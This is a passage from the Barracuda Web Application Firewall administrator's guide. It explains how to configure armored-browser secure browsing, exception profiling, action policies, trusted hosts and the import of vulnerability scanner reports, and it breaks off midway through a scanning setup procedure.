Secure browsing can be enabled ONLY for HTTPS Services.
Overview
The Barracuda Web Application Firewall integrates with armored browsers to mitigate risks from malware infected clients. Key loggers and cache
miners on client desktops and laptops can introduce risks such as session hijacking, credential theft and leakage of sensitive information. By
using armored browsers, sensitive web applications such as Net-banking applications or trading platforms can push a layer of security onto the
client side to protect applications from infected hosts.
Armored browsers reduce client-side risk by providing a temporary layer around a browser connecting to a secured website. The website
administrator defines a specific security policy to protect sensitive data from theft and data leakage. When the browser is closed, the browser
leaves no data remnants.
Currently, the Barracuda Web Application Firewall integrates with Quaresso Protect On Q (PoQ) armored browser, which is based on
the Microsoft Internet Explorer and is available only on Windows operating systems.
Components of Secure Browsing
The secure browsing environment includes the following components:
Armored Browser
Credential Server
Session Validator
Credential Manager
Armored Browser
The armored browser is a temporary browser created on a client machine when it attempts to access a website enforcing secure browsing. The
browser is instantiated remotely by the Credential Server component.
The armored browser protects the website from client-side weaknesses by providing a temporary security layer around the browser. The
Credential Server controls the browser settings. All temporary files are cleared when the browser is closed.
Credential Server
A credential server is a server side component which downloads to clients the secured browser instance, and validates incoming requests.
You can configure credential servers on the WEBSITES > Secure Browsing > Credential Servers section. For more information, see Adding a
Credential Server.
Session Validator
The Session Validator ensures that access to the secured web applications is via a secured browser instance with a valid session ID.
The Session Validator is deployed either as a module on the server or integrated with a reverse proxy deployed in front of the web server.
The Barracuda Web Application Firewall acts as the Session Validator. The administrators need to configure a secure browsing policy and
associate it with the website that needs to be secured. The WEBSITES > Secure Browsing, Add Secure Browsing Policy enables you to
define custom access rule and associate with your website. For more information, see Adding a Secure Browsing Policy.
Credential Manager

The Credential Manager is used to configure the Credential Servers.
How Secure Browsing Works
An HTTPS Service is protected by configuring secure browsing using the following steps:
1. A user attempts to access a protected website using their normal browser.

2. The Barracuda Web Application Firewall intercepts the request and checks if the request contains an armored browser specific header or
not.
3. If not, the user is redirected to a credential server to download the armored browser. Once the download is complete, a new browser
session is launched through which the user is allowed to access the protected website.
4. If the request is from an armored browser session, then the Barracuda Web Application Firewall checks for the armored browser specific
header, and validates with the credential server.
5. If the credential server acknowledges that the header is valid, the client is allowed to access the protected website. If not, the request is
blocked.
Configuring Secure Browsing
To enable secure browsing for an HTTPS Service through the Barracuda Web Application Firewall, do the following:
Add a Credential Server

Add a Secure Browsing Policy
Adding a Credential Server
The Barracuda Web Application Firewall uses the configured credential server to verify the armored browser is being used to access the service.
A service should be associated with only one credential server.
Steps to add a credential server:
1. Go to the WEBSITES > Secure Browsing page.

2. In the Credential Servers section, click Add Credential Server. The Add Credential Server window appears, specify values for the
following fields:
a. Name – Enter a name for the credential server.
b. Armored Browser Type – Select the armored browser type from the list.
c. Server Name /IP Address – Enter the name or IP address of the Credential Server to be used for protecting web applications.
d. Server Port – Enter the port number of the Credential Server.
e. Policy Name – Specify the Policy Name defined on the Credential Server.
f. Cache Valid Sessions – Set to Yes if you wish Barracuda Web Application Firewall to cache the session state information to
validate subsequent requests from the client.
g. Cache Expiry (Seconds) – Specify the duration of time (in seconds) to store the cached session state information to validate
the requests after which the session information is re-validated against the Credential Server
h. Redirect URL – Specify the URL where you want to redirect a user who accesses the protected web application from a normal
browser. If not specified, the Barracuda Web Application Firewall redirects the user to the Credential Server.
3. Click Add to add the credential server.
Adding a Secure Browsing Policy
To add a secure browsing policy and associate it with the HTTPS Service, do the following:
1. Go to the WEBSITES > Secure Browsing page.

2. In the Add Secure Browsing Policy section, specify values for the following fields:
a. Policy Name – Enter a name for the armored browsing policy.
b. Service – Select the Service from the list for which you desire secure browsing.
c. Host Match – Enter a host name to be compared to the host in the request. This can be either a specific host match or a
wildcard host match with a single “* “ anywhere in the host name. For example, *.example.com, any request matching this
host is required to authenticate before accessing this page.
d. URL Match – Enter a URL to be compared to the URL in the request. The URL should start with a "/" and can have at most one
" * " anywhere in the URL. For example, /netbanking.html, indicates any request matching this URL is required to

d. Barracuda Web Application Firewall Administrator's Guide - Page 251
authenticate before accessing this page. A value of “/*” means that the access control rule (ACL) applies for all URLs in that
domain.
e. Credential Server – Select the credential server to verify the armored browser session.
3. Click Add to associate the secure browsing policy with the service.

Tuning Security Rules
Options for Refining Security
You can fine tune security to your website using the following features:
Tuning Security Rules Using Web Firewall Logs

How to Configure Exception Profiling
Configuring Action Policy for Attack Groups
How to Configure Trusted Hosts
Scanning Your Web Application Using the Barracuda Vulnerability Manager
How to Configure Adaptive Profiling
Profile Optimizers
URL Optimizers
Parameter Optimizers
Configuring Website Profiles

Tuning Security Rules Using Web Firewall Logs
Introduction
Creating Exceptions using the Web Firewall Logs
Examples of Fixes Suggested by the Barracuda Web Application Firewall
Manually Configuring a Fine Grained Rule
Using Exception Profiling to Generate Recommendations for Tuning
Manually Fine Tuning the Security Policy Using Exception Profiling
Examples for Tuning the Security Policy Using Exception Profiling
Introduction
Barracuda Web Application Firewall enables administrators to configure security rules with varying degrees of granularity. A security policy,
comprised of security settings, is shared by multiple applications.
A newly configured service originally uses the ‘default security policy’, so all URLs and Parameters are compared to the ‘default security policy’
settings. The Barracuda Web Application Firewall applies rules to traffic and generates a log of rule violations viewable in the BASIC > Web
Firewall Logs page.
You can use the Web Firewall Logs to evaluate rule violations, and when warranted, create exceptions to the rule violated. Exceptions can apply
globally if they modify the security policy, which affects all services using that policy. Or you can apply an exception locally that only applies to a
specific website or URL. To create a fine grained exception, you use the WEBSITES > Allow/Deny OR WEBSITES > Website Profiles pages.
The default security policy associated with a Service might sometimes end up blocking genuine requests, which are called false positives. To
reduce false positives you can enable Exception Profiling for desired websites on the WEBSITES tab. Exception profiling uses heuristics
displayed on the WEBSITES > Exception Heuristics page to identify false positives. You can set the exception profiler to automatically refine
security policy rules for the respective site section by setting Request Violation Handling to Auto on the Exception Heuristics page;
alternatively, set Request Violation Handling to Manual if you want the profiler to generate policy recommendations under Pending
Recommendation on WEBSITES > Exception Profiling. In this case, the administrator must review the violations, and manually apply desired
fixes. See Using Exception Profiling to Generate Recommendations for Tuning.
Automatic settings are recommended for trusted hosts.
Creating Exceptions using the Web Firewall Logs
Once logged in to the unit, select Web Firewall Logs from the BASIC tab to search for a log entry believed to be a false positive. These log
entries will be in red and have an action of DENY (active mode) or LOG (passive mode).
Scroll over to the right of the selected log and click Fix. A Policy Fix window will appear.
The fix recommended by the Barracuda Web Application Firewall may be localized or global, depending upon which rule was violated. Accepting
a recommendation could have the following impact:
1. Web site profile (localized) modification: As the most fine-grained security, changes impact only a given URL or parameter.
2. Security Policy (global) modification: As a policy shared by multiple applications, changes impact all applications using the security
policy.
Examples of Fixes Suggested by the Barracuda Web Application Firewall
Example 1: Recommendation to configure a fine grained rule.

Following the recommendation to create a URL Profile for /modules.php creates an exception only for that particular page.
Example 2: Recommendation to change the configuration in Security Policy.
The Barracuda Web Application Firewall suggested change to the ‘Parameter Protection’ sub policy of the ‘default Security Policy’ would allow
the Meta character (%08) in any parameter for any application using this security policy. To avoid an exception which applies globally, you can
add an exception which only applies to the URL or parameter noted in the log.
Manually Configuring a Fine Grained Rule
When you want to apply a local exception instead of a recommended global fix you need to manually do a two step process.
Step 1: Figure out the exception specifics from Web Firewall Logs.
Scroll over to the selected log in the Web Firewall Logs and click Details.
Select the URL after the VIP address and before the question mark (if present).
If there is a question mark present in the URL, note the parameter name.
Close the Web Firewall log Details window.
Example: For the log shown above – VIP is 192.168.9.96 – Port 80. The URL is /HacmeBooks/passwordHint.html and the URL has a parameter

called ‘username’.
Step 2: Configure the Exception.
From the WEBSITES > Website Profiles page select the appropriate service from the Website drop down list (192.168.9.96 : 80).
In the URL Profiles section, click Add URL.
The Create URL Profile window appears.
Enter a name in the URL Profile Name field.
Paste the URL into the URL field (/HacmeBooks/passwordHint.html).
Click Add.
You should now see the new URL profile in the URL Profile section. Click Edit to make the necessary security exceptions to the URL. Click Sav
e when done.
To specify parameter settings, you will need to configure Parameter profiles for the relevant URL Profile (Example: passwordHint).
Click Add Param in the Parameter Profiles section.

The Create Parameter Profile window appears.
Select the appropriate URL Profile from the drop down list (Example: passwordHint).
Enter a name in the Parameter Profile Name field.
In the Parameter field, enter the parameter that you noted from the details of the Web Firewall Logs.
Select the appropriate Parameter Class – typically ‘No Validation’ is selected if it isn’t a specific class.
Click Add.
You should now see the new parameter profile in the Parameter Profile section. Click Edit to make the necessary exceptions to the Parameter.
Click Save when done.
The example below shows the created local exception to allow meta character %08 in parameter username for URL profile passwordhint.

Using Exception Profiling to Generate Recommendations for Tuning
To configure exception profiling for a Service:
1. From the WEBSITES > Exception Profiling page identify the Service for which you want exception profiling enabled.
2. Click Edit next to that Service. The Edit Exception Profiling window appears.
3. To learn from a trusted hosts group, select the trusted host group from the Trusted Hosts Group drop-down list and set Learn From
Trusted Host Group to Yes. For more information, see Fine Tuning Security Settings for a Trusted Hosts Group using Exception

Profiling.
4. To learn from untrusted traffic, select the level of tolerance to violations (Low, Medium or High) from the Exception Profiling Level drop-
down list. For more information on Exception Profiling, see How to Configure Exception Profiling.
5. Click Save.
The figure below shows the Exception Profiling Level set to Low for untrusted traffic.
Exception profiling provides default settings for each violation type. The settings indicate how exceptions update profiles (Automatically, Manually,
or not at all), how the new setting in the profile is generated (for example, increasing the current value, or accepting the observed value) and how
many times the logged error needs to be seen before generating an exception (Trigger Count). These default settings for an Exception Profiling
Level can be edited and saved on the WEBSITES > Exception Heuristics page.
The figure below displays the default set of heuristics for the Exception Profiling Level: Low.
By default, all settings are set to Auto for the Exception profiling levels for untrusted traffic. The Trusted settings are either Auto or Off. For
untrusted traffic, the Manual setting requires you to verify the exception before applying it, or you can turn exception profiling Off for a particular
violation. If the traffic originates from trusted hosts, the trusted policy heuristics apply. If the traffic originates from non-trusted hosts, the selected
Exception Profiling policy applies.
Manually Fine Tuning the Security Policy Using Exception Profiling
By default, each violation type is set to Auto on the WEBSITES > Exception Heuristics page. Hence, whenever violations from unique sources
are encountered the number of times indicated in Trigger Count, the profiles are automatically updated creating the respective profiles for the
Service. This applies ONLY when exception profiling is enabled for the Service on WEBSITES > Exception Profiling; that is, the Exception
Profiling Level for the service is not equal to None.
To view encountered violations and manually apply desired recommended fixes, do the following:
Step 1: The Setting for the desired Violation Type should be Manual.
1. From the WEBSITES > Exception Heuristics page select the Exception Profiling Level (Low, Medium or High) you want to modify. N
ote: Trusted does not support Manual exception creation.
2. In the Request Violation Handling section, identify the violation type(s) for which you wish to generate recommendations.
3. Change Setting to Manual next to the violation type(s). Also, change the settings in New Value and Trigger Count if required.
4. Click Save.

Learned false positives are displayed on the WEBSITES > Exception Profiling > Pending Recommendation page every 600
seconds (10 minutes).
Step 2: Select the recommendation and apply fix.
1. Go to the WEBSITES > Exception Profiling page.

2. In the Pending Recommendations section, view the recommendations for relevant violation type(s).
3. Select the check box(es) next to the recommendations you want to fix, and click Apply Fix.
Examples for Tuning the Security Policy Using Exception Profiling
Example 1: Parameter Name length exceeded
In this example, the violation type Parameter Name Length exceeded is set to Manual, New Value is set to Increase 100%, and Trigger Count
is set to 3.
The Max Parameter Name Length, set on SECURITY POLICIES > URL Profiles, is 5.
When three unique clients (based on the value set in Trigger Count) send requests with parameter name length 10, the violation is logged under
BASIC > Web Firewall Logs.
The recommendations are displayed after 600 seconds (10 minutes) on the WEBSITES > Exception Profiling page.

Click Details to see the log information. Select the check box(es) and click Apply Fix to apply the recommended fix.
Since New Value for Parameter Name length exceeded is set to Increase 100% on WEBSITES > Exception Heuristics and the parameter
length in the request is 10, a new URL profile is created on the WEBSITES > Website Profiles page with the Max Parameter Name Length set
to 20.
Example 2: Query length exceeded.
In this example, Query length exceeded is set to Manual, New Value is set to Increase 100% and Trigger Count is set to 3.
The Max Query Length, specified on the SECURITY POLICIES > Request Limits, is 5.
Recommendation generated on WEBSITES > Exception Profiling:

Clicking Apply Fix increases the Max Query length to 24 on SECURITY POLICIES > Request Limits.

How to Configure Exception Profiling
In this article:
Exception Profiling
Exception Profiling Levels
Configuring Exception Profiling
Configuring Exception Heuristics
Exception Profiling
Exception profiling fine tunes security policies associated with a Service to reduce wrongly blocked requests. Typically, when a Service is
created, it is associated with the“default security policy. All URLs and Parameters are compared to the default security policy settings, which may
block some genuine requests. Blocked genuine requests are called false positives. Exception Profiling uses a heuristics based strategy to refine
web application security settings in response to logged traffic in the Web Firewall logs, viewable on BASIC > Web Firewall Logs. It reduces the
false positives by creating URL and Parameter profiles which relax the default security policy settings or by modifying existing URL profile or
Parameter profile settings thus fine-tuning them to the Service. If a profile does not exist, Exception Profiling can create a new profile, or if a
profile already exists it is fine tuned to reflect the exception.
You can enable Exception Profiling for a Service by clicking Edit next to the service on the WEBSITES > Exception Profiling page and setting
the Exception profiling level to one of three levels for untrusted traffic. Each level has corresponding settings for exception handling. The levels
are:
Low
Medium
High
Trusted traffic is always handled according to separately configured Trusted settings.
Exception Profiling Levels
A Low Profiling Level indicates a low tolerance to violations, so logged traffic violations are reviewed frequently to properly adjust security
settings. On the other hand, a High exception profiling level indicates a greater tolerance of violations, and a higher confidence in the security
settings, so review or adjustment of the profile only happens if a violation is seen more frequently. Exception profiling treats traffic violations
differently for trusted hosts. Trusted hosts heuristics have a "Trigger Count" permanently set to one (1) for all violations. Any request from a
trusted host is assumed to be a genuine request; so an exception from any trusted host automatically refines security, creating or modifying
profiles for the Service as required.
Because only three levels of Exception Profiling Heuristics for untrusted traffic apply to all services, a change in the settings of any level applies to
any service using that level (Low, Medium, or High). Exception profiling provides default settings for each violation type. The settings indicate how
exceptions update profiles (Automatically, Manually, or not at all), how the new setting in the profile is generated (increasing the current value, or
accepting the observed value, for example) and how many times the logged error needs to be seen before generating an exception (Trigger
Count). These default settings for an Exception Profiling Level can be edited and saved. For information on how to edit request violation settings,
see Configuring Exception Heuristics.
Selecting an Exception Profiling Level of Low will increase the number of exceptions or recommendations for profile adjustment, causing a more
rapid adjustment of the profile to reflect observed traffic. On the other hand, an Exception Profiling Level of High results in fewer exceptions and
pending recommendations, indicating increased confidence in the profile, and higher tolerance for traffic violations. The Trusted profiling level is
recommended for trusted hosts.
Configuring Exception Profiling
You can configure exception profiling for a Service by setting the exception profiling level, thereby applying the corresponding Exception
Heuristics settings to that Service. Perform the following steps to configure exception profiling:
1. From the WEBSITES > Exception Profiling page identify the Service for which you want exception profiling enabled.
3. To learn from a trusted hosts group, select the trusted host group from the Trusted Hosts Group drop-down list and set Learn From
Trusted Host Group to Yes. For information on trusted hosts, see Configuring Trusted Hosts.
4. To learn from untrusted traffic, select the level of tolerance to violations (Low, Medium or High) from the Exception Profiling Level drop-
down list. For information on exception profiling levels, see Exception Profiling Levels.
5. Click Save.
Configuring Exception Heuristics
The WEBSITES > Exception Heuristics page allows you to view the definitions for any exception profiling level and adjust settings for various
Violation Types if required.

Exception Profiling Level Settings
Exception Profiling Level determines the exception creation heuristics for the Service to which it is bound. Four policies, or levels, are provided:
Low, Medium, High (for untrusted traffic) and Trusted.
To view the settings for a profiling level:
1. Go to the WEBSITES > Exception Heuristics page.

2. Select the desired level to view the heuristics settings in the Exception Profiling Level module, and click Show Definition.
The Request Violation Handling module gets populated with the settings for that level and can be modified. The levels are shareable across
multiple Services. Any change made to an exception heuristics level setting applies to any Service bound to this level. Services may have an
untrusted traffic exception profiling level (Low, Medium, or High) as well as designated trusted hosts using the Trusted Hosts exception profiling
settings.
The exception heuristics for various Violation Types are classified into:
Length Violations
Input Violations
Header Violations
Cookie Violations
Forceful Browsing
For each violation type, set the following parameters:
Setting – How exceptions are created: Automatically, Manually through approval of Pending Recommendations, or no exceptions should
be created.
New Value – How to modify the parameter after learning. New Value can be a function of the old value (increase 100% for example). Or
the new value can be based on the default option provided. New Value is selected from provided options.
Trigger Count – This threshold sets the number of times a violation must be received from unique sources before triggering exception
learning either automatically or manually. Only unique requests from a client are counted. Multiple violations from the same client
generate a single violation in the trigger count. This neutralizes a hacker conducting repeated attacks on the Service. An exception
profiling agent processes the web firewall logs which generated the violations defined on the Exception Heuristics page. It maintains a
cache of the trigger counts and compares the running count with the configured trigger count. When the trigger count is met, it invokes
the exception profiling process.
Learned false positives are either applied automatically or displayed on the WEBSITES > Exception Profiling > Pending
Recommendations section every 600 seconds (10 mins) depending on Setting (Auto or Manual).
When set to Auto, the profiles are automatically updated every 600 seconds. If set to Manual, the recommendations are generated
after 600 seconds and displayed on the WEBSITES > Exception Profiling > Pending Recommendations section.

Configuring Action Policy for Attack Groups
Using SECURITY POLICIES > Action Policy you can configure for each security policy what action to take when a violation occurs. Discrete
Action Policies can be configured for the following attack groups:
advanced-policy-violations
application-profile-violations
param-profile-violations
protocol-violations
request-policy-violations
response-violations
url-profile-violations
header-violations
You can edit the Action taken when a particular attack is detected by locating the respective Attack Action Name in the list and clicking Edit (in
the Options column) next to it.
You can configure choose from the response to a request deemed an Attack by this security policy:
Protect and Log: Blocks any request containing the specified attack and logs the attack.
Protect and no Log: Blocks any request containing the specified attack without logging the attack.
Allow and Log: Logs the violation.
None: Ignores the violation.
For description about the attack actions under each attack group, see Attacks Description - Action Policy.
Configuring Request Denials
If you choose an action policy which protects (Denying attacks, whether Logging or not) you will need to configure the Deny Response and
Followup Actions for attacks.
Set Deny Response to one of the following options:
Close Connection: Closes the connection to the sending client;

Temporary Redirect: Redirects the request with the 302 status code to the URL specified in the parameter "Redirect URL".
Permanent Redirect: Redirects the request with the 301 status code to the URL specified in the parameter "Redirect URL".
Redirect URL: Specifies the URL where the request is redirected if the deny response is set to Temporary Redirect or Permanent
Redirect.
Redirect URL should be specified when the status-code in HTTP Status is one of 3xx redirect response codes.
Redirect URL should be specified in one of the following formats:
http://domain/url
https://domain/url
/url
Where "url" and "domain" can be any ASCII strings. URL can be empty.
Examples: http://secure.xyz.com/error.html, https://secure.xyz.com/logerror.cgi, or /error.html
Send Response: Sends the response indicated in Response Page.

Response Page: Specify the response page to be sent to the client.
Configure a Follow Up Action taken when a request is denied by choosing from the following:
None: Ignores the violation.

Block Client IP: Blocks the sending client for the time specified in Follow Up Action Time.
Challenge with CAPTCHA: Denies the response and any subsequent requests from the same client IP address will be tracked for the
next 900 seconds, and will be challenged with a CAPTCHA image. The client will not be allowed to access any further resource until the
CAPTCHA is answered. This is to thwart any reconnaissance efforts from the automated clients which are found to be suspicious due to
such attack activity. The number of attempts for solving such a CAPTCHA challenge is five (5), and the number of re-fetches of the
CAPTCHA image allowed is 128. Such tracked client IP addresses will have to answer the CAPTCHA if they are idle for more than 300
seconds. Note that the Follow Up Action Time has no relevance to this option.
Follow Up Action Time: Specifies the time in seconds to block the sending client if Follow Up Action is set to Block Client IP.
Range: 1 to 600000
Units: Seconds
Click Help on the SECURITY POLICIES > Action Policy page for more information about configuring action policy.

How to Configure Trusted Hosts
In this article:
Trusted Hosts
Associate a Trusted Hosts Group with a Service
Exempting a Trusted Hosts Group from Security Checks
Exempting a Trusted Hosts Group from Authentication
Learning from the Trusted Hosts
Fine Tuning Security Settings for a Trusted Hosts Group using Adaptive Profiling
Fine Tuning Security Settings for a Trusted Hosts Group using Exception Profiling
Trusted Hosts
The Barracuda Web Application Firewall allows you to designate Trusted Hosts by IP address and Mask which are not subjected to security
checks. Traffic coming from trusted hosts is assumed safe. The WEBSITES > Trusted Hosts page allows you to create a trusted hosts group
with one or more hosts. Trusted Host Groups have an associated Trusted Hosts Action so a policy violation from a Trusted Host results in the T
rusted Hosts Action overriding the Action configured for other hosts. You can set the Trusted Hosts Action to:
Allow - All requests pass through, including possible attacks are ignored; No logs are generated.
Passive - All requests pass through, including possible attacks, but logs are generated on the BASIC > Web Firewall Logs page.
Default - Trusted hosts are treated the same as all other clients.
Steps to create a trusted hosts group:
1. Go to the WEBSITES > Trusted Hosts page.

2. In the Add New Trusted Host section, specify a name in the Trusted Hosts Group Name field and click Add.
3. In the Trusted Hosts section, click Add Host next to the Trusted Host Group that you created. The Create Trusted Host window
appears. Specify values for the following:
a. Trusted Host Name – Enter a trusted host name to which you want to exempt the security checks.
b. Version – Select the Internet Protocol version (IPv4 or IPv6) for the trusted host from the drop-down list.
c. IP Address – Enter the IP address of the trusted host.
d. Mask – Enter the netmask associated with the IP address.
4. Click Add.
5. If you wish to add multiple hosts to the Trusted Hosts group, repeat Step 3 and Step 4.
Associate a Trusted Hosts Group with a Service
Once a trusted hosts group is created with a set of trusted hosts, you can associate that group to a Service and exempt them from security
checks or authentication as explained below.
Exempting a Trusted Hosts Group from Security Checks
The following steps bind a trusted hosts group with a Service and exempt them from security checks.

2. In the Services section identify the Service to which you want to associate the trusted hosts group for exempting security checks.
3. Click Edit next to the Service. The Service window appears.
4. Scroll down to the Basic Security section and set Trusted Hosts Action to Allow or Passive.
5. Select the Trusted Hosts Group from the drop-down list.
6. Specify values to other parameters as required and click Save.
Exempting a Trusted Hosts Group from Authentication
If you do not wish to require authentication for a set of trusted hosts, associate the trusted hosts group with an authentication policy and set the T
rusted Hosts Action to Allow. The Barracuda Web Application Firewall identifies the trusted hosts as allowed users and all of its requests are
exempted from authentication.
Steps to associate a trusted host group with an authentication policy:
1. Go to the ACCESS CONTROL > Authentication page.

2. In the Authentication Policies section, identify the Service to which you want to associate the trusted host group that you are exempting
from authentication.
3. Click Edit next to that Service. The Edit Authentication Policy window appears.
4. In the Edit Authentication Policy window, select the Trusted Hosts Group from the drop-down list to associate it with the policy.
5. Set Trusted Hosts Action to Allow to exempt the set of trusted hosts from authentication.

Learning from the Trusted Hosts
When a Service is associated with a security policy, all URLs and Parameters are matched to that security policy setting. Web applications are
dynamic and vary widely, so a one size fits all security strategy might not be adequate across a website. For this reason, it might block some
genuine requests which are identified as false positives. You can reduce false positives and fine tune the security settings for a trusted hosts
group using:
Adaptive Profiling, or
Exception Profiling
Both assist in development of fine grained security settings. Exception Profiling uses a heuristics based strategy to refine web application security
settings in response to logged traffic on BASIC > Web Firewall Logs. Adaptive Profiling learns the intricate structure of an application and
enforces conformance to it. Detailed security profiles are created by Learning from requests and responses served by a particular web
application. For more information on how exception profiling works, see Configuring Exception Profiling.
Fine Tuning Security Settings for a Trusted Hosts Group using Adaptive Profiling
1. Go to the WEBSITES > Adaptive Profiling page.

2. Click Edit next to the Service to which you want to associate a trusted host group and learn the requests and/or responses from the
trusted hosts. The Edit Service Adaptive Profiling window appears.
3. Select Trusted from the Request Learning drop-down list if you wish to learn the requests from a trusted host.
4. Select Trusted from Response Learning drop-down list if you wish to learn the responses from a trusted host.
5. Select Trusted Hosts Group from the drop-down list.
Fine Tuning Security Settings for a Trusted Hosts Group using Exception Profiling
1. From the WEBSITES > Exception Profiling page identify the Service to which you want bind the trusted hosts group.
3. Select Trusted Hosts Group from the drop-down list.
4. Set Learn From Trusted Hosts Group to Yes and click Save.
5. The exceptions from trusted hosts are learned using trusted hosts heuristics displayed on the WEBSITES > Exception Heuristics page.
6. Select Exception Profiling Level from the drop-down list if you wish to learn from non-trusted hosts as well. The exceptions from
non-trusted hosts are learned based on Low, Medium or High exception profiling settings on WEBSITES > Exception Heuristics.

In this article:
Overview
Importing Vulnerability Report
Viewing and Applying Recommendations to a Service
Choosing the Recommendations
Steps to Mitigate Website Vulnerabilities
Overview
The Barracuda Web Application Firewall integrates with Web Application Vulnerability Scanners to make it easier to address web application
vulnerabilities detected by these scanning tools. The vulnerabilities can be mitigated quickly and easily using the Barracuda Web Application
Firewall, allowing an optimal engineering solution to be designed and incorporated through the regular code release cycle without incurring
continued risk.
Administrators use vulnerability scanners to detect and report website vulnerabilities in a variety of report formats. Vulnerability reports can be
imported using the ADVANCED > Vulnerability Reports > Import Vulnerability Report section. The Barracuda Web Application Firewall uses
imported reports to provide Security Policy Recommendation(s), which, if applied by the administrator, modify applicable security policy settings
or configuration to mitigate the reported vulnerabilities.
Currently, the Barracuda Web Application Firewall supports the following scanners:
Barracuda Vulnerability Manager

Cenzic Hailstorm v6.6
HPE Security WebInspect
HPE Security Fortify On Demand
IBM AppScan v7.9
IBM AppScan v9.0
ThreadFix
The assessment report exported should be in .xml format.
Importing Vulnerability Report
Perform the following steps to import a vulnerability assessment report:
1. Go to the ADVANCED > Vulnerability Reports page.

2. Specify a name for the assessment report in the Assessment Name field.
3. Select the scanner used to detect vulnerabilities in the web application from the Scanner Used list.
4. Click Browse next to Vulnerability Report to locate and select the scanned file. The report should be in .xml format.
5. Click Import Vulnerability Report.
Viewing and Applying Recommendations to a Service
Summaries of imported vulnerability assessment reports are visible, along with corresponding configuration update recommendations, using the
Manage Vulnerability Assessments section. To view the summary of an assessment report and apply recommendations, perform the following
steps:
1. Go to the ADVANCED > Vulnerability Reports page.

2. In the Manage Vulnerability Assessments section:
a. Select the assessment report from the Assessment Name list.
b. Select the service for which you want to apply the recommendations from the Apply To Service drop-down list.
3. The Scanner Information panel provides the following details:
a. Scanner Type – The name of the scanner tool used to detect vulnerabilities.
b. Scanner Version – The version of the scanner tool.
c. Import Date – The date and time at which the vulnerability assessment report was imported to the Barracuda Web Application
Firewall.
d. Vulnerabilities Detected – The number of vulnerabilities detected in the website.
4. Recommendations for vulnerabilities detected by the scanner gets displayed in the Security Policy Recommendation(s) section. For
information on how to choose recommendations before applying, see Choosing the Recommendations.
5. In the Security Policy Recommendation(s) section, select the check box(es) to apply the recommended fixes for website vulnerabilities
identified by the scanner.
6. Click Apply to apply the fixes.
7. The Recommendation Summary panel displays the following details: (Click on the number to display the recommendations for the
selected status in the Security Policy Recommendation(s) section.)
a.

7.
a. Total Recommendations – Number of recommendations generated by the Barracuda Web Application Firewall for
vulnerabilities detected.
b. Pending Recommendations – Number of recommendations pending, not yet applied to the Service.
c. Applied Recommendations – Number of recommendations applied to the service to mitigate threats.
d. Rejected Recommendations – Number of recommendations viewed and rejected by the administrator.
Choosing the Recommendations
The Security Policy Recommendation(s) section displays the recommendations for the selected assessment report. Before applying the
recommended fixes the administrator must review the recommendations and choose one or more entries by selecting the check box(es).
Steps to view recommendations:
1. From the ADVANCED > Vulnerability Reports page, select an assessment report in the Manage Vulnerability Assessments section
from the Assessment Name list.
2. Recommendations for the selected assessment report get populated in the Security Policy Recommendation(s) section.
3. Select an entry in the Recommendation List to view detailed information about the vulnerability detected, and security policy
recommended by the Barracuda Web Application Firewall in the Preview Pane. By default, Preview Pane is turned Off. Use the Setting
s option on the tool bar to turn on the Preview Pane at Right, Bottom or Left. The following information is displayed in the Preview Pane:
a. Attack – Name of the attack detected in the web application.
b. Attack Group – Name of the attack group of this attack. Example: constTransient is an Attack in the Session Identifier Not
Updated Attack Group.
c. Severity – Vulnerabilities are categorized as HIGH, MEDIUM, or LOW severity.
i. HIGH – Indicates a critical security threat that can potentially affect the web application. This should be fixed
immediately.
ii. MEDIUM – Indicates that these vulnerabilities are not harmful by themselves but combined with other vulnerabilities
may cause a potential threat to the web application. The administrator needs to review the recommendation before
applying the fix.
iii. LOW – Vulnerabilities that have little impact on the web application, so the fix has a lower priority.
d. URL – The URL in the web application where vulnerability was detected.
e. Parameter – The parameter(s) in which vulnerability was detected.
f. Status – The recommendation status, New if not yet applied by administrator or Applied.
g. Attack Information – Click to see detailed information about the attack detected in the web application.
h. Recommendations – Click to see the security policy recommended by the scanner and Barracuda Web Application Firewall to
mitigate the identified vulnerability.
4. Select the Service from the Apply To Service list using the Manage Vulnerability Assessments section.
5. Select one or more check box(es) next to the recommendations and use one of the action controls on the tool bar:
a. Apply – Applies the recommended fixes for selected vulnerabilities.
b. Reject – Rejects the recommendations for selected vulnerabilities. If you want to apply rejected recommendations, you need to
Un-Reject first and then Apply.
c. Un-Reject – Un-rejects the rejected recommendations.
Once the recommendations are applied to a service, they cannot be re-applied or rejected.
Steps to Mitigate Website Vulnerabilities
1. Scan web application(s) using third party vulnerability scanning software.

2. Choose *.xml (the only supported format) for the exported vulnerability output file format.
3. Navigate to the ADVANCED > Vulnerability Reports > Import Vulnerability section, and import the scanned file. For information on
how to import, see Importing Vulnerability Report.
4. Select the assessment report from the Assessment Name list, select the service from the Apply To Service list in the Manage
Vulnerability Assessments section.
5. In the Security Policy Recommendation(s) section, select the check box(es) to apply the recommended fixes.
6. Click Apply to mitigate corresponding vulnerabilities.

Scanning Your Web Application Using the Barracuda Vulnerability Manager

Barracuda Vulnerability Manager is a web application scanner designed by Barracuda Networks to scan your web applications, and uncover
security vulnerabilities such as Cross-Site-Scripting, SQL Injection, Directory Traversal, etc. in your web applications.
When you scan web applications protected by the Barracuda Web Application Firewall in active mode, the scan report generated may not find
most of the vulnerabilities as they would be blocked by the Barracuda Web Application Firewall. To detect the security vulnerabilities more
accurately in your web application, perform the following steps before scanning a service configured on the Barracuda Web Application Firewall:
Step 1 - Create a Trusted Hosts Group with the Barracuda Vulnerability Manager IP Addresses
Step 2 - Associate the Trusted Hosts Group with the Service
Step 1 - Create a Trusted Hosts Group with the Barracuda Vulnerability Manager IP Addresses
1. Go to the WEBSITES > Trusted Hosts page.

2. In the Add New Trusted Host section, specify a name in Trusted Host Group Name and click Add. It is recommended to use
“Barracuda-Vulnerability-Manager” as Trusted Host Group Name. Note: The name can include alphanumeric characters, periods (.),
hyphens (-) and underscores (_). Any other special characters such as space, semicolon, asterisk, etc. are not allowed.
3. In the Trusted Hosts section, click Add Host next to the trusted host group created in step 2.
4. In the Create Trusted Host window, specify values for the following:
a. Trusted Host Name – Enter a name for the trusted host.
b. Version – Select IPv4.
c. IP Address – Enter 64.235.153.133
d. Mask – Enter 255.255.255.255
e. Click Save.
5. Repeat step 3 and 4 for the following hosts:
a. 64.235.153.134
b. 64.235.153.135
c. 64.235.153.136
d. 64.235.150.121
For more information on trusted host group, see How to Configure Trusted Hosts.
Step 2 - Associate the Trusted Hosts Group with the Service
After creating the trusted hosts group and adding hosts, associate the trusted hosts group with the service that needs to be scanned by following
the steps below:

2. In the Services section, identify the service you want to scan and click Edit next to it.
